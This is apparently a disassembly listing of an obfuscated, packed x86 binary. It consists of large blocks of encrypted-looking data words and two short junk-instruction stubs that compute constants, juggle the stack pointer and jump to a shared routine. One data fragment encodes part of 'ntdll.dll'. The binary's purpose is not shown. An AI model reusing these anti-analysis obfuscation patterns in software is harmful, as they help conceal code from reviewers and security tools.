dd 0A58h, 9D4A3200h, 0EE15E4D6h, 47C7668Eh, 0A046AD28h
dd 0B01C7DE0h, 2841C9CCh, 45B73FB1h, 0EEB78229h, 0A5102CFAh
dd 1AD9C45Bh, 0AB995896h, 0D3F9A7E3h, 0C71C35C2h, 9480D521h
dd 7B534EE1h, 0CC3E881h, 744167E9h, 2BAD44AAh, 4651EECBh
dd 708A3E8Eh, 8F11E0F9h, 0B60ED967h, 0CAF21502h, 0B9AE14h
dd 0EA04AA13h, 999507h, 2249E59Bh, 990F91E4h, 25CC22B2h
dd 99F74181h, 2A70A53Ah, 0F9034CAh, 0A8C01301h, 0D850C42Fh
dd 0FBD079Dh, 37B91301h, 52D33AB9h, 0C8558762h, 0AC3529DCh
dd 0ECF569EFh, 129F9305h, 7B415F1Eh, 6F13010Fh, 0E86C8769h
dd 747A1F16h, 0CACF6658h, 0D251A527h, 7803F162h, 8A170BE4h
dd 920BE567h, 852B6DA0h, 18DFA92h, 2ED90000h, 0CDA959Bh
dd 0F3D1A2FDh, 813D1FDh, 6150321h, 3E591BB6h, 46D8E74Fh
dd 0B15F9759h, 0DC50C42Fh, 21BF0BC3h, 1301099Bh, 10ED098Fh
dd 1089A416h, 8F6277EEh, 0FB77E90Dh, 4D6F13DEh, 0B32DC9D0h
dd 0AF3C32BFh, 4CD023B6h, 23CD4FA2h, 1F360D0h, 0CA7BA44h
dd 0BACC9B79h, 3EB53B92h, 0ACC03ABAh, 85C86A33h, 0E29285B8h
dd 67h, 0C7872EB1h, 2739C307h, 0AAC537BAh, 9F35C12Fh, 1C364145h
dd 0C4DD516Bh, 954BAB2Dh, 4209B3F1h, 0DBFD1C36h, 36A707E7h
dd 8A644FE3h, 6FF3D967h, 0F231C35h, 0FAB0BB64h, 886640E9h
dd 5A7FF769h, 0E60D8AA4h, 33361E7Fh, 836F55ACh, 1C705C2Ch
dd 35F43C86h, 3EB6381Ch, 0F4EE049Ah, 0E40A1C35h, 0B9CBB7h
dd 15FC0000h, 0B3770EBh, 4ED6520Ch, 0A631C52Bh, 4D933B13h
dd 1502A3EAh, 43A08ADEh, 0B60E7FE3h, 98E9FFB2h, 0E7DB15C8h
dd 0A52369D8h, 0DCF0FED5h, 0A2524FE2h, 2CB5A91Bh, 6C75E96Fh
dd 4C762C60h, 521300F4h, 0F4268Ch, 467C2213h, 0D4C15EA0h
dd 0D45B9B1Dh, 0F55344h, 0B915B913h, 0F4A12Bh, 0E3139513h
dd 5FD3A68Eh, 3B8E5942h, 0BA356B63h, 680BD7C3h, 39BDDA56h
dd 0E88E658Bh, 76342798h, 11E5A464h, 0B616839Fh, 3A2B806h
dd 0CA2A8CB9h, 0FB15543h, 0E96B8613h, 20CCB80Dh, 0BF059B95h
dd 0BB1C27AFh, 0CD13BB35h, 14FE7F12h, 3C7BF006h, 801CA6h
dd 58961813h, 2E260596h, 0D50BC39Bh, 150D111Ah, 7519D8FEh
dd 0EE418B19h, 0B33512FAh
dd 4C55C943h, 0CB65574Fh, 55A123CEh, 0F26A47DBh, 58E80BE5h
dd 4F998886h, 877262C3h, 0F9ADEEEBh, 866E6B07h, 978F1814h
dd 0ACE0EC02h, 5C74CCF6h, 0CE26C8CEh, 5445DD4Fh, 765EAF9Dh
dd 0A9F2EF83h, 539E3B37h, 36Bh, 844F9C00h, 41B01547h, 0AB4653CFh
dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
dd 0BF32AFC0h, 2AC9D04Dh, 3846685Dh, 34890000h, 0E6895624h
dd 4C681h, 0EE830000h, 24348704h, 240C895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], eax
push edi
mov edi, 3A7B4B7Bh
push ebx
mov ebx, 4D10047h
shr ebx, 5
dec ebx
sub ebx, 72CC5DF4h
xor ebx, 85EB0618h
add edi, ebx
pop ebx
and edi, 15837EC0h
inc edi
not edi
dec edi
sub edi, 0F5C4364Bh
mov ecx, edi
pop edi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop eax
push 7618h
mov [esp], ebx
mov ebx, 8
add ebx, eax
mov [ebx], ecx
pop ebx
push dword ptr [esp]
pop eax
add esp, 4
mov ecx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
dw 3EDCh
dd 3B582BB8h, 0FFC50309h, 0D3E407E0h, 0D5806E63h, 0C65E9D4Eh
dd 14E84Ch, 32940000h, 5F15FF7Bh, 0B1717C0Dh, 0AD3967F5h
dd 1484FF64h, 2DB4A757h, 0D881665Ah, 0C281BF94h, 65C3h
dd 0F236E981h, 0F62B2F94h, 5E8h, 0F7E1BE00h, 830F54ECh
dd 2, 8B5BE78Ah, 0E381323Ch, 55A33F98h, 72B1F781h, 0F38073B7h
dd 0D4C78155h, 564AC978h, 2840Fh, 61600000h, 0B7F78158h
dd 5316B282h, 58D88B66h, 0B1323C89h, 81D98B17h, 8FAA67EEh
dd 5840F54h, 66000000h, 8AC0F081h, 0AA63C681h, 0BF0F548Fh
dd 0D0FE81C9h, 0FFFFF9Ah, 0FFFFA685h, 9026EBFFh, 0EC33B61Bh
dd 6E558EAFh, 6C6C6474h, 6C6C642Eh, 46218800h, 0D25D3407h
dd 5E740EA3h, 48h, 0
dd 65EE900h, 0C6680000h, 0E9093B5Ah, 0FFFA251Ch, 3B5BB668h
dd 2512E909h, 5B68FFFAh, 0E9093B5Ch, 0FFFA2508h, 3B5D0468h
dd 24FEE909h, 0DD68FFFAh, 0E9093B5Dh, 0FFFA24F4h, 3B5EAE68h
dd 24EAE909h, 0F95BFFFAh, 2439BFDCh, 718E0BDh, 0E77F019Ah
dd 3E37A9F2h, 4039029Bh, 554653CAh, 900D88A3h, 544956C8h
dd 9607908Ch, 0FEC4DAB2h, 0FA12FAE8h, 45DBE5E9h, 0DF179958h
dd 13D140h, 47020000h, 0D143AE2Bh, 8557445Dh, 1C364143h
dd 0BBE0FD73h, 0D39B2E18h, 2FB1405Dh, 48D70DC1h, 0AC150342h
dd 9739C72Ah, 58130141h, 0A7E6E7CDh, 0C39284F9h, 44AD21FBh
dd 1F58470h, 2455Ah, 0D493900h, 0CD01D9ECh, 3552417h, 8E8E1015h
dd 0E3CEDDB0h, 0AB6336CEh, 91927D23h, 4E7047E7h, 0AE32C1D6h
dd 0DB169846h, 819D4550h, 9957D918h, 0CE675935h, 995845DBh
dd 961AD917h, 893ED05Eh, 2CB250DFh, 95021EA0h, 0A1DC5008h
dd 1F76B903h, 0C52BAD4Fh, 0B6C05621h, 0F2DC87B6h, 4C4h
dd 0A5F6D381h, 0FAA33E33h, 0AFECE986h, 0F3A83129h, 0B8E5F46Dh
dd 65FC8EFBh, 0BAB12774h, 64FA7E1Fh, 0BEB22677h, 0F8D47C21h
dd 0FAE7E0EAh, 4C7D412h, 43AE2B47h, 2B45EDB8h, 2FC143AEh
dd 48EA019Fh, 0D8FE1503h, 4A57CAF4h, 36565C82h, 4C521301h
dd 0E1DBD3A8h, 2FA15049h, 0AA4AA431h, 0A2F51A32h, 973050BCh
dd 10DE1F6Dh, 8CB010BCh, 798EC340h, 0DE4DE313h, 0DA0BCD6Eh
dd 0C97A48D4h, 0BD84AB09h, 52B905h, 0EF11308Ch, 38E6673h
dd 0CC12B6B0h, 839922E6h, 9C26BCE2h, 98839922h, 98F4D816h
dd 6B8B0826h, 66234AD5h, 2846B87Ch, 30C448ABh, 10705C82h
dd 0B9DDFDB2h, 57D61EF2h, 0AD21F9CCh, 65DD21F7h, 0FBD3D583h
dd 84706901h, 2B4AE6D8h, 1A7B415Fh, 696F83A6h, 0A61A517Bh
dd 4DA34583h, 0B948850h, 301BFADBh, 5640E382h, 3D4h, 9506A391h
dd 4A534EE3h, 9FFC9996h, 435841D9h, 6835A4BDh, 352CDEABh
dd 0EA81F7A4h, 342AAEEFh, 0EE82F6A7h, 0C804ACF1h, 0FAE6B01Ah
dd 0D4F7A412h, 6772EB15h, 56B8088Ch, 0BFB48941h, 2F43BD39h
dd 0C32EABC2h, 0B744AF41h, 0A9834ECh, 1502BECFh, 65120DAFh
dd 0BE753Fh, 816F7113h, 8419BF75h, 0C8D6D0E3h, 1300BF02h
dd 259F3C32h, 2D616D83h, 0BE794361h, 6B6D1300h, 9856F58Bh
dd 9C420BD7h, 5928E30h, 9E3B37C9h, 63FF8156h, 0A5F07B76h
dd 44C3E1EDh, 0B814F47Fh, 0B595AE36h, 6908F2DBh, 32F81h
dd 694EEC00h, 28B1AC34h, 6772ED73h, 2DAAC236h, 6871E870h
dd 77136833h, 3EC2DBFEh, 75EBB025h, 3BBDDEFBh, 0EFE1BA27h
dd 0E5BB019Fh, 1EAF12FAh, 0AE2B479Dh, 35EDB843h, 6B200B99h
dd 0E2D41503h, 4D772D4Ch, 49130118h, 0F6A749A7h, 1980Ch
dd 10493D00h, 90E6A8D8h, 0F8669719h, 865E69FCh, 76468246h
dd 2122B8F7h, 5E647EB2h, 5A1C3614h, 1F12A054h, 15150328h
dd 53B58B93h, 0EADFD57Bh, 19C707DFh, 18F9870Ah, 7E09E8EEh
dd 455B732Bh, 1FD15DD3h, 0B34D8127h, 77922BFh, 43766E6Bh
dd 5AE5A495h, 286EFD7h, 11430000h, 0FC71E7B4h, 2F40B8E5h
dd 0FF77E9B2h, 263FC1DAh, 5831EAB3h, 7D1EBBB2h, 287560FBh
dd 7C21BEB0h, 2E6F6804h, 268C527Ah, 2212FAE4h, 2B475271h
dd 0EDB843AEh, 0F00B9935h, 4150348h, 0B915B9E2h, 136A12Bh
dd 0E3139513h, 6919CF6Bh, 0D10F5FBCh, 1300FDEBh, 0E509B9DFh
dd 17AA4A0Dh, 0D4F8D48Ch, 0CE6677ECh, 0DD0740B2h, 1300DFD7h
dd 8529CDD3h, 0CDF2CC5Fh, 5AD6E80Bh, 0D56BB33Dh, 92D735CCh
dd 4C80586Bh, 21B68396h, 846F7186h, 0D8F4ACF7h, 0C4584DE6h
dd 5A9418DBh, 5EB0EE9Ah, 928D39AEh, 0D60CC00Ch, 8D4951ECh
dd 8A2EC6E8h, 68FF7E3Eh, 0E152AE2Ah, 4A35F9C3h, 5EBED8Dh
dd 6C7B3DBDh, 1CD8435Bh, 8C118EA2h, 0A73F58D4h, 788C9468h
dd 0ADC4AE35h, 6A000001h, 2EB2EBC8h, 83F5A633h, 34ACF1ECh
dd 7E029B3Ch, 0F2A9F2E7h, 6178F199h, 2AAFC43Ch, 6471EF71h
dd 34ADC137h, 0D70DC167h, 12FAE4EDh, 4717BCE9h, 0B843AE2Bh
dd 0E99935EDh, 9C3A1D07h, 0A70DD35Ah, 0A31C35BDh, 5703F3FDh
dd 2D99249h, 0C7126615h, 34270A6Bh, 22666688h, 0A2367Ch
dd 0E4F16E13h, 5F3CB8DEh, 2BB9156Ch, 1C3641A1h, 50E31395h
dd 8F356B45h, 8B1C3641h, 14DFFA75h, 3C905E90h, 0D1A89A6h
dd 0C905AB15h, 599D3837h, 8A170BB5h, 0C6D34F11h, 3D15A02Bh
dd 0C1E85391h, 0BADC0BD1h, 6B74E812h, 0E9827C32h, 738305ECh
dd 507C65F9h, 933E3C70h, 0AF47C0BAh, 3810A330h, 0FA9B4E94h
dd 97191502h, 0D53A564Fh, 0F2DC87F2h, 0DCh, 7D1EBB99h
dd 227B66FBh, 0C7D4C15Eh, 1B801911h, 0D0CDCC65h, 5DD4B6C3h
dd 82995F3Ch, 5CD28617h, 869A5E3Fh, 0CC8419h, 0FAE3D8E2h
dd 0FCBFCC12h, 6B76EB15h, 0F6FE9B95h, 4C80586Bh, 47FB1074h
dd 61954714h, 0BF1227BDh, 7C22150Ch, 21B6AE50h, 46DA4ED5h
dd 0A0BC4459h, 47AA2F47h, 38C82BC5h, 541850F9h, 18DBC65Bh
dd 0E40F88A4h, 301AA03Eh, 880ED3D8h, 1E3B297Ah, 0D8303A80h
dd 46A82ED3h, 996C58C5h, 0F97F1C85h, 3757C65h, 11836E6Bh
dd 0C1718019h, 63C9FCA6h, 3A32CC94h, 64C1569Dh, 670F7570h
dd 38BCDD55h, 0E2DCF9EBh, 37A94D4Ah, 7BFD9E3Bh, 40FCCCE7h
dd 0A12B504Bh, 0BEFEA44Fh, 0E4DDD98Eh, 9585719Eh, 10h
dd 2BB915F6h, 1C3641A1h, 7F455CD1h, 682B9D59h, 41B01547h
dd 0AB4653CFh, 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h
dd 34BFD850h, 0BF32AFC0h, 2AC9D04Dh, 1D49685Dh, 3C890000h
dd 65F76824h, 14890000h, 24086824h, 2C890000h, 4EC8324h
dd 0B8240489h, 93B59ECh, 5458C289h, 83242C8Bh, 575304C4h
dd 0FB89D789h, 85D895Fh, 2434FF5Bh, 4C4815Dh, 0FF000000h
dd 815A2434h, 4C4h, 1ED6E900h, 0EAD1FFFAh, 49EE3D7Fh, 88CFF61Ch
dd 0A84299AFh, 3B5FAFB8h, 0FFC50309h, 0F0F9F6E0h, 9DCE953Eh
dd 3679A10Dh, 0A6473B75h, 0A3B6BC60h, 6522CF1Ch, 0D1B8FE06h
dd 0EC1E6D44h, 0E32A4A15h, 0F816C120h, 25CA166Dh, 340AB138h
dd 4840EC1Dh, 41334E5Ch, 2CCBA856h, 50221335h, 1127B562h
dd 0B9B1891Dh, 0DD96A222h, 0EE81Ah, 0A8600000h, 4E382E5h
dd 0BE97E67Eh, 0D68F330Eh, 14E9h, 0E0C32100h, 0BC4EB95h
dd 469F9982h, 73040624h, 0A21847Ah, 0C7815F75h, 5FECh
dd 18B0Fh, 0B8F80000h, 17C2h, 6037FFFCh, 7E9h, 608BC300h
dd 8490737Ah, 890F5961h, 3, 81F38B66h, 0E186A1F1h, 32F18158h
dd 6617C24Eh, 81CA26BBh, 0A3A926E9h, 48C0F10h, 66000000h
dd 510D78BEh, 6E8h, 1F4E0D00h, 0F8F5294h, 28Eh, 5B616000h
dd 14E9078Fh, 0B3000000h, 0BC12739Ch, 982CF574h, 0BDACE78Bh
dd 0E46FE55Fh, 81CC5063h, 0F3E249EFh, 2870F22h, 0B7000000h
dd 45C78109h, 8322F3E2h, 850F01E8h, 0Ch, 1FE9B0B3h, 0A000000h
dd 38FEA05Eh, 860Fh, 62E90000h, 0C3FFFFFFh, 0EE29ACD3h
dd 0AC2A32FDh, 9CAD6136h, 8EBF425h, 0
dd 217FBC3Bh, 4BCE9h, 62806800h, 6DE9093Bh, 68FFFA1Dh
dd 93B62E8h, 0FA1D63E9h, 641668FFh, 59E9093Bh, 0CAFFFA1Dh
dd 8E524B68h, 0E3950693h, 944C514Ch, 0DEA2FB9Ch, 52495247h
dd 0C1D85139h, 8A0F24DCh, 0C4D14F11h, 940D21D7h, 376D2107h
dd 12FAE08Dh, 47775C89h, 6723AB2Eh, 24BEDB55h, 1C36419Eh
dd 61E0149Ah, 852E43BDh, 0E10463B5h, 45AC42E8h, 0A5B933C3h
dd 35805F3Ch, 0DE4F56Dh, 0D41A879Bh, 5CE0EAF8h, 0D2D41C35h
dd 8FF2B01Ch, 8F15027Ch, 10E3F66Dh, 0DD14859Ch, 0B361955Bh
dd 0E5E1A12Dh, 0F9AE0C48h, 7960F907h, 6066F67Dh, 21130068h
dd 96F7D0C4h, 0D19285D2h, 2B2h, 0E70A4902h, 7F1814DCh
dd 0F4475D71h, 150354h, 75A03EDEh, 0AED81E0Ch, 0C2DF531Bh
dd 8302A02Ch, 7920B2DBh, 127DBB49h, 0D120E6CCh, 4BCE21Eh
dd 0CE2044C3h, 5C29BEFEh, 3484A780h, 0E3B641C0h, 33FDA32Bh
dd 47179D9Bh, 9F932DA1h, 6F821F12h, 0E69A03EDh, 4F752B4Ah
dd 4B27E55Ah, 0D59B4BA5h, 0C8DDF0E4h, 2D64129h, 95C70000h
dd 78F56B30h, 0ABC43C61h, 73EB6D2Eh, 0AAC33566h, 0D4A56E2Fh
dd 19A3F36h, 0ACF1E47Fh, 9D3A34h, 0A2FBE478h, 0FAC0DEAEh
dd 0EE12FADFh, 9B2EDEDDh, 21D50BC3h, 9F150D23h, 0F4ADCDFh
dd 0C1354FC4h, 0BF418D13h, 219B33A6h, 0DC60930Eh, 0A4BD4318h
dd 592EBE35h, 0D7DA8DFAh, 18A63E5Bh, 0C5E0643Ah, 26E341Eh
dd 0FD5F0000h, 203DC3D8h, 31CE4B9h, 0DB530596h, 21BDDBEh
dd 7C0D0697h, 9902978Eh, 54494CE7h, 9805928Ch, 4A534CE0h
dd 52782666h, 4612FADFh, 9B2E3695h, 21D50BC3h, 9F150D23h
dd 5F97021Dh, 34C42FB1h, 12FAE092h, 0ED817B53h, 7B7BFDF4h
dd 0F01D3E26h, 77928B5Eh, 186h, 73EB1558h, 18DBF876h, 209A5A94h
dd 0BA60930Ch, 3DB42D40h, 0ADC13BBBh, 0CDD86734h, 442BB915h
dd 38150364h, 0BAD3BB6h, 0CC13011Ch, 1A6E6B59h, 0D0128FA0h
dd 13011BEAh, 4956C8DEh, 5EAF4FA7h, 9928523h, 25h, 0C39B2ECAh
dd 724AD50Bh, 28AE1503h, 11953BC9h, 0CF561301h, 46DEE0E5h
dd 0D0FDA551h, 97928529h, 0A1h, 0AE2B47F8h, 0F5DF9F43h
dd 0DCF97600h, 762F9315h, 79F30332h, 0EDD5F9E0h, 0B78D193Ah
dd 2DB44011h, 0B73AA7BBh, 0EBB02945h, 35852959h, 4C55C91Ch
dd 3227574Fh, 0CD73892Dh, 5A6DF8FCh, 0BFB04A82h, 7826D222h
dd 1501B1F1h, 1CD01A7h, 0FE51D9E3h, 2BCBCD12h, 0F5E47D7Fh
dd 0A03930A8h, 0D7EDB844h, 947E25F2h, 140h, 0F5A60331h
dd 0AAF3EE83h, 0FF9C3936h, 0A3F8E179h, 485544DDh, 0D54C3E4Bh
dd 0A21D7C4h, 0D44A0E8Fh, 0E22D6C7h, 68240C91h, 0FADD903Ah
dd 74578412h, 0F2AB2E47h, 0B8E5F26Eh, 0AE2B4713h, 445DD143h
dd 653D8857h, 879B2569h, 6D55D71Ah, 92C9077Eh, 45DB1BAAh
dd 1502E881h, 2F5B7375h, 0DD07928Dh, 1300D8D7h, 8529CDD3h
dd 0D7F7E27Bh, 702E49E5h, 1300D84Ah, 9B56983Eh, 4600DD19h
dd 0E11FB8B4h, 0FA55148h, 1300D8A9h, 3F5C45D9h, 9539A0B9h
dd 0EFA4982Dh, 3DB98C40h, 26BC10B6h, 13006A9Ch, 0F6DE1698h
dd 98h, 0E9D76A52h, 56B5D92Ah, 9B2EFF9Eh, 7FF10BC3h, 4118A240h
dd 8A0C1C36h, 0A0EC9064h, 476AE8E0h, 10E4B087h, 0C346682h
dd 99587E15h, 0D8E0B27h, 27CAD74Bh, 37087899h, 1881982Bh
dd 0C9CC67D9h, 0D1E782Ah, 70D7EF41h, 98534192h, 7702F273h
dd 3BBDDEFBh, 0B612BA27h, 0B6E6CC12h, 0BCE2FAB6h, 0B6B69C26h
dd 3E5BD4FAh, 0D9331B3h, 7EF66AE9h, 0B269A59h, 0B8B3638Eh
dd 0C94DDB52h, 0BB2438C6h, 967EA338h, 7064B1D3h, 0ABF0E985h
dd 51A03935h, 369h, 844FAA00h, 41B01547h, 0AB4653CFh, 37BA2739h
dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h
dd 2AC9D04Dh
db 5Dh
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], edi
push 0C1Ch
mov [esp], edx
push edx
mov edx, 480B02E4h
push ebx
mov ebx, 74B43F9h
dec ebx
xor ebx, 1321BA2h
shl ebx, 4
sub ebx, 0A6652707h
mov edi, ebx
pop ebx
add edi, edx
pop edx
push esp
mov edx, [esp]
add esp, 4
push eax
mov eax, 8
sub eax, 21F654BDh
add eax, edx
add eax, 21F654BDh
mov [eax], edi
pop eax
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5464A4
; ---------------------------------------------------------------------------
dd 657BB894h, 0C503093Bh, 114BE0FFh, 0BA800F83h, 4FF659F6h
dd 104B363Dh, 576D7657h, 35556FA4h, 0B6AE0A7Fh, 0D95A262Fh
dd 0AAAD46B0h, 0E7C72E39h, 745A611Bh, 9B9C5953h, 0E5685055h
dd 97E61D2Ch, 2294CB2h, 8490753Dh, 53BA01F6h, 3D1A7619h
dd 0BDFA5F2Ah, 0D334080Fh, 8D8D5354h, 93B6796h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 6C35040h, 0B8502F60h
dd 7D24D3FBh, 7F94DA81h, 8D8901B7h, 9351629h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 78C35545h, 9E4CFF5Ch
dd 7A6422E9h, 0D0E88166h, 0DB58B68h, 0C7093523h, 35287D85h
dd 73F409h, 85858B00h, 0E9093528h, 0Dh, 77C700ABh, 73B01335h
dd 6B61CC66h, 5585C782h, 93522h, 0E9000000h, 12h, 0CA6D7E2Dh
dd 13E9819Fh, 4EEBC7E4h, 0BF724BEDh, 0D881AE6Ah, 7D13FB42h
dd 0D45B5FFh, 6A0935h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1D0424h, 50400000h, 747E22C3h, 14A014FFh, 1EC19A3h
dd 352CD59Dh, 0CE809h, 56330000h, 0D9CB338Ah, 0BC5B35CFh
dd 8589556Fh, 9352975h, 595FF5Fh, 6A09350Dh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
dd 0EFB8C355h, 0FF006AEEh, 35082995h, 0EBC08B09h, 1F68BB6Ah
dd 0B3BE820Eh, 0A3AB398Dh, 74519526h, 68875A88h, 0BF0EF22Bh
dd 2D8A596h, 1336DECAh, 34AC908Bh, 352AF542h, 0E9C51D48h
dd 3A754D3Fh, 0CB8596DFh, 0ADA61D1Bh, 0A9D0DD9Bh, 467D8C7Bh
dd 14CF82Ah, 7EE82B4Eh, 0FFAC69E2h, 4A0BEC1Ch, 44BAF2BFh
dd 0E050A7CEh, 0FD744458h, 0D18B1270h, 74A2B0DCh, 0AC6505C3h
dd 53BD4EBBh, 5DB13EE8h, 0ACEC3256h, 55EC065Eh, 0ABB13256h
dd 0D5B13256h, 0EAE84718h, 75EB86A6h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13254h, 57B93581h
dd 0ABB63254h, 0D5973259h, 0E9EB3271h, 77D03256h, 0B8D03256h
dd 3DE3F27Dh, 0BA586A04h, 3BB13256h, 0F38AF863h, 0D1A6A4E7h
dd 9A0210BBh, 0E9BE5CBFh, 0DB9A48F3h, 0FE10359h, 0AEB135BFh
dd 0E119156h, 0BE7DCD48h, 0B4D10359h, 0B2EB6A0Ch, 75B8DB06h
dd 387C3256h, 9378E2C5h, 3834CEB9h, 8E913256h, 3EFD4DC8h
dd 330A9FCh, 0F2C9D820h, 75B13EBFh, 0B8FCD656h, 13F86245h
dd 0F4B44E39h, 0C4D0AFDDh, 0A7580359h, 61B13256h, 0CA92608Bh
dd 39CEAC8Fh, 0E02A98C3h, 8BDA20Eh, 7F49693Ch, 5A150560h
dd 0A2A1E194h, 108D1D58h, 32C794Ch, 75B1325Dh, 0C8CCE671h
dd 0E3C87295h, 0CF845E49h, 0D216A0Ch, 4C176ADDh, 56830FC2h
dd 0B2EB53CBh, 75BADBC6h, 0AED63256h, 0DDB280EBh, 2EECCEFh
dd 0DE96823h, 69BC6A0Eh, 0DBB82285h, 8B740E79h, 31386A0Ch
dd 0BC583672h, 0BBB13256h, 0DCCCE671h, 57B16A95h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h
dd 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h
dd 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h
dd 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h, 0AEB13256h
dd 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h, 75B13256h
dd 0BAB13256h, 5DB13256h, 0AEB13256h, 57B13256h, 0ABB13256h
dd 0D5B13256h, 0EAB13256h, 75B13256h, 0BAB13256h, 5DB13256h
dd 0AEB13256h, 57B13256h, 0ABB13256h, 0D5B13256h, 0EAB13256h
dd 75B1DA36h, 3BEB3256h, 66DBF6BCh, 2E34BF5Fh, 0DEB808D9h
dd 90D928D4h, 0F733BF5Fh, 63B80999h, 4ED92CD4h, 0B3FFDA5Fh
dd 26593256h, 69B13256h, 6CD938D4h, 0ABB1325Fh, 50776056h
dd 0E38425CBh, 0CDE35A00h, 0F4EAEFEh, 5484242Bh, 0D5C1B7DBh
dd 874E3B6Eh, 0AFE0B7DFh, 0D1DB3B63h, 0EAA1323Eh, 78F15A56h
dd 0BADB3255h, 56EBE2A9h, 27824696h, 6CD938D4h, 0A533BB5Fh
dd 6CB8093Eh, 0EAB23F16h, 0B582CADDh, 0D0E398A5h, 4DB15A52h
dd 0AED93256h, 3DB13252h, 0FA23CD56h, 8FB80752h, 82EFB0DFh
dd 0FED03B6Dh, 81D938D3h, 9AD1F15Fh, 9BBDA3D4h, 17B1325Fh
dd 7A33F556h, 0D5B80779h, 8BB13246h, 0CF3A5295h, 0B38A5A5Ch
dd 29B10DD5h, 0BECEB175h, 0D4BA4654h, 0DFB52229h, 0C176B158h
dd 0AD76D8BDh, 75B13346h, 7D43D956h, 5DB22211h, 475A3256h
dd 0DCE4F137h, 0AB5952BAh, 8FB13256h, 8108D8D7h, 0C73A3B6Dh
dd 0B38A5A34h, 0D4B977DDh, 0CC33B150h, 53B8093Eh, 0AF73FB37h
dd 0D5595256h, 0B0B13256h, 1E6CD8D7h, 83A3B6Dh, 548A5A08h
dd 0C6D3806Dh, 6CC53B6Dh, 743A0CDDh, 0D4FE8459h, 6AB075A0h
dd 0ACB23623h, 639A30BDh, 0D83A7115h, 0A7841973h, 673CBFDDh
dd 738A3B63h, 0C8A3B24h, 2C323721h, 4E78D952h, 33B94699h
dd 6881BFEBh, 0CF06D95Fh, 57595295h, 0F1B13256h, 0B984D8D7h
dd 503A3B6Dh, 7C8A5A08h, 0BAB032EFh, 0AE710156h, 0F033B9FDh
dd 0DEB8093Eh, 90D950D4h, 0B572535Fh, 0EAB132BEh, 9F306856h
dd 0B38A5E09h, 4A2CB790h, 0C6E73B63h, 83AE5F6Fh, 0BDCC87A9h
dd 503C3B63h, 0E3894926h, 25E3E2A9h, 0BA31323Eh, 0A2B15856h
dd 95D938E4h, 0F61CD5Fh, 2BB15A0Ch, 0D5DB3256h, 82EF80A9h
dd 0A54E3B6Dh, 31E4F137h, 5D5952BAh, 0F4B13256h, 3B1CD8D7h
dd 0DE3A3B6Dh, 0D729DA5Eh, 15E43256h, 4ED928C4h, 0CF8A6F5Fh
dd 0B55F475Ah, 0AEB130D0h, 5F73FB37h, 473A6756h, 834DF6D5h
dd 0EA596101h, 2FB13256h, 0D650D8D7h, 283A3B6Dh, 0BECCB95Eh
dd 60596401h, 0A0B13256h, 5E904696h, 784E67AEh, 7C8A5A4Ch
dd 0B6C4090Bh, 0D6D72022h, 5E56B248h, 0B4312CDCh, 0AD2CDAA6h
dd 15A3256h, 24D4FDFh, 8A4ECC0Bh, 31EF6D0Dh, 9F78CE13h
dd 25E4325Ah, 0AF75B1BAh, 0F8E06401h, 0D5497791h, 2DB13256h
dd 4ED978D4h, 0BAB1335Fh, 55C4B956h, 25AFB930h, 6CD938ECh
dd 0A3EEB95Fh, 0DAC5E95Dh, 0ECC4EC6Dh, 0FCBD6FDDh, 7D323E09h
dd 3B5BD942h, 55312CDDh, 99353DBEh, 2BB13256h, 51BEDBADh
dd 0EAB13293h, 7A5AC9D6h, 0BAB18ED2h, 0BF4AB256h, 0AE1DB659h
dd 0AC313256h, 31353DB5h, 0B3B13256h, 9D6C9D7h, 7529B659h
dd 5D313256h, 0A63054A6h, 2ABEB259h, 57B132C7h, 2B41D1D6h
dd 51BE42ADh, 0EAB132D3h, 0F5AFB930h, 4131CAB5h, 0DDF346EEh
dd 93C53768h, 239C0CD6h, 0C38FB26Eh, 574E0122h, 0E38A5A1Ch
dd 0F5AFB930h, 3BD7CAB1h, 2959B3ADh, 0B03A5476h, 3141D5D6h
